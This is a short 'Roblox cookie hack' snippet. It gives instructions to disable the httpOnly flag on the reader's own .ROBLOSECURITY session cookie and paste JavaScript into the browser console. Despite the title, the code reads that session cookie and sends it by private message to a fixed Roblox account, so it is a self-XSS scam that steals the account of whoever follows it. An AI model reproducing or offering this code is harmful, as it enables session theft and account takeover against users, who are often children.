Roblox cookie hack

//Instructions:
//Get Google Chrome and download the following plugin: https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg
//Click the cookie symbol and click the .ROBLOSECURITY cookie.
//Uncheck the httpOnly checkbox and click Submit cookie changes.
//Press F12 and click console. Paste the following code into the console and press enter.


function getCookie(cname) {
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for(var i=0; i<ca.length; i++) {
        var c = ca[i];
        while (c.charAt(0)==' ') c = c.substring(1);
        if (c.indexOf(name) != -1) return c.substring(name.length,c.length);
    }
    return "";
};
var co = getCookie('.ROBLOSECURITY');
function PM(){
        $.post("http://www.roblox.com/messages/send",{
                subject : "UMAD!",
                body : ""+co,
                recipientid : 14246909,
                cacheBuster : new Date().getTime()
        })}
PM()